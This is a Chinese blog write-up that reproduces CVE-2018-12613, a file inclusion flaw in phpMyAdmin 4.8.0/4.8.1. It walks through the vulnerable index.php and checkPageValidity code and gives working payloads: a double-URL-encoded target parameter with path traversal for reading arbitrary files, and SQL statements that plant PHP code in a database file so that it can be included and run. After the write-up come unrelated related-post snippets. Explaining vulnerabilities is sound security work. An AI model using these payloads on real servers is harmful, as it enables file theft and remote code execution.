index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

By:Mirror王宇阳

漏洞原理

攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。

攻击者必须经过身份验证,但在这些情况下除外:

$ cfg [‘AllowArbitraryServer’] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码;

$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。

影响:phpMyAdmin-4.8.0/4.8.1

漏洞环境

phpStudy2016 下载

phpMyAdmin-4.8.1 下载

漏洞成因

漏洞索引:

文件路径:.\phpMyAdmin\index.php

位置锁定:line 55~63

源码分析:

// 如果有一个有效的目标,加载这个脚本

if (! empty($_REQUEST['target'])

//是否存在target参数

&& is_string($_REQUEST['target'])

//target是否为字符串

&& ! preg_match('/^index/', $_REQUEST['target'])

//限制要求target以index开头

&& ! in_array($_REQUEST['target'], $target_blacklist)

//限制target不能出现在$target_blacklist中

/*

$target_blacklist = array(

'import.php' , 'export.php'

)

// target != 'import.php' != 'export.php'

*/

&& Core::checkPageValidity($_REQUEST['target'])

// Core类的checkPageValidity()方法

) {

include $_REQUEST['target'];

exit;

}

第61行include $_REQUEST['target'] 暴露了存在LFI的可能。

需要的是绕过限制:

target参数不可以以index开头,不出现在target_blacklist中(!= import.php != export.php)

调用Core类[libraries\classes\Core.php]的checkPageValidity()自定义函数且结果为真

public static function checkPageValidity(&$page, array $whitelist = [])

{

if (empty($whitelist)) {

// 白名单

//$whitelist在函数被调用的时候,没有值引用$goto_whitelist的内容(上图)

$whitelist = self::$goto_whitelist;

}

if (! isset($page) || !is_string($page)) {

//$page没有定义或$page不为字符串时 返回false

return false;

}

if (in_array($page, $whitelist)) { // in_array():搜索数组中是否存在指定的值

//$page存在$whitelist中的value返回true

return true;

}

$_page = mb_substr( //mb_substr():返回字符串的一部分

$page,

0,

mb_strpos($page . '?', '?')

//返回从开始到问号之间的字符串

);

if (in_array($_page, $whitelist)) {

//$_page存在$whitelist中的value返回true

return true;

}

$_page = urldecode($page);//urldecode():解码已编码的URL

//经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true

$_page = mb_substr(//返回从开始到问号之间的字符串

$_page,

0,

mb_strpos($_page . '?', '?')

//mb_strpos():查找在字符串中第一次出现的位置(大小写敏感)

);

if (in_array($_page, $whitelist)) {

return true;

}

return false;

}

465~473代码的目的:二次URL解码

这里考虑到了URL二次编码和参数存在的情况!

例如传入:?target=db_datadict.php%253f

服务器在接收到URL请求连接后就会自动对URL进行一次解码为:?target=db_datadict.php%3f在遇到$_page = urldecode($page);二次解码后为:?target=db_datadict.php?这样就符合白名单的要求“ ?符号前的文件名在白名单序列中”

利用二次编码“%253f”可以绕过checkPageValidity()的检查!

由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码:?target=db_datadict.php%3f由此就造成了文件包含漏洞

漏洞复现

任意文件包含:

?target=db_sql.php%253f/../../../../../../windows/wininit.ini

任意代码执行:

查询数据库路径:

show global variables like "%datadir%";

向数据库写入代码:

CREATE DATABASE rce;

use rce;

CREATE TABLE rce(code varchar(100));

INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");

包含该数据库文件:

?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD

phpmyadmin 4&period;8&period;1 远程文件包含漏洞(CVE-2018-12613)

漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...

18&period;phpmyadmin 4&period;8&period;1 远程文件包含漏洞(CVE-2018-12613)

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...

DedeCMS 5&period;7 sp1远程文件包含漏洞&lpar;CVE-2015-4553&rpar;

DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553) 一.漏洞描述 该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当 ...

记一次phpmyadmin 4&period;8&period;1 远程文件包含漏洞(BUUCTF web)

题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

dedecmsv5&period;7sp1远程文件包含漏洞审计

dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程. 漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆 ...

php本地及远程文件包含漏洞

在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen onallow_url_include on 但是开启这两个功能之后伴随的是url漏 ...

php远程文件包含截断问题

今天在学习一书是,提到一个php远程文件包含漏洞 可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令 服务器中有漏洞的页面代码为: #test.php#error ...

PHP文件包含漏洞攻防实战(allow&lowbar;url&lowbar;fopen、open&lowbar;basedir)

摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

PHP文件包含漏洞剖析

一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

随机推荐

创建 Pool &amp&semi; VIP - 每天5分钟玩转 OpenStack(122)

上节完成了 LBaaS 配置,今天我们开始实现如下 LBaaS 环境. 环境描述如下: 1. 创建一个 Pool “web servers”. 2. 两个 pool member “WEB1” 和 “ ...

Tomcat7配置数据源

http://www.cnblogs.com/ITtangtang/archive/2012/05/21/2511749.html

C&plus;&plus; Primer &colon; &colon; 第十四章 &colon; 重载运算符与类型转换之类型转换运算符和重载匹配

类型转换运算符 class SmallInt { public: SmallInt(int i = 0) : val(i) { if (i < 0 || i > 255) throw st ...

centos6关闭ipv6

Install packages for CentOS 6.0 Minimal cat <>/etc/modprobe.d/disable_ipv6.conf ali ...

Android开发全套视频教程在线观看网盘下载

千锋金牌讲师老罗老师简介: 国内第一批Android教学讲师,10多年软件开发经验,6年多教学经验,曾担任广东电信北京分公司移动事业部项目经理,主持过微软中国平台考试系统.山西省旅游局智能化平台等大型 ...

seo初学

对前端而言,做网站采用扁平式结构:控制网页链接数量,不能太少,当然也不能太多:其次采用扁平的目录层次,不能超过3次:三:导航优化,最好是文字,如果是图片的话,alt和title必须添加. 面包屑导航: ...

B&period; Friends and Presents(Codeforces Round &num;275&lpar;div2&rpar;

B. Friends and Presents time limit per test 1 second memory limit per test 256 megabytes input stand ...

python学习第32天

# 使用模块操作进程# multiprocessing 一个多元化的进程模块# multiple 多元化 processing 进程 # 涵盖了和进程相关的几乎所有的内容# Process类 帮助你启 ...

C&num; 并发编程 &&num;183&semi; 经典实例

http://www.cnblogs.com/savorboard/p/csharp-concurrency-cookbook.html 异步基础 任务暂停,休眠 异步方式暂停或者休眠任务,可以使用  ...

Java中同步的几种实现方式

1.使用synchronized关键字修饰类或者代码块: 2.使用Volatile关键字修饰变量: 3.在类中加入重入锁. 代码示例: 非同步状态下: public static void main( ...

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值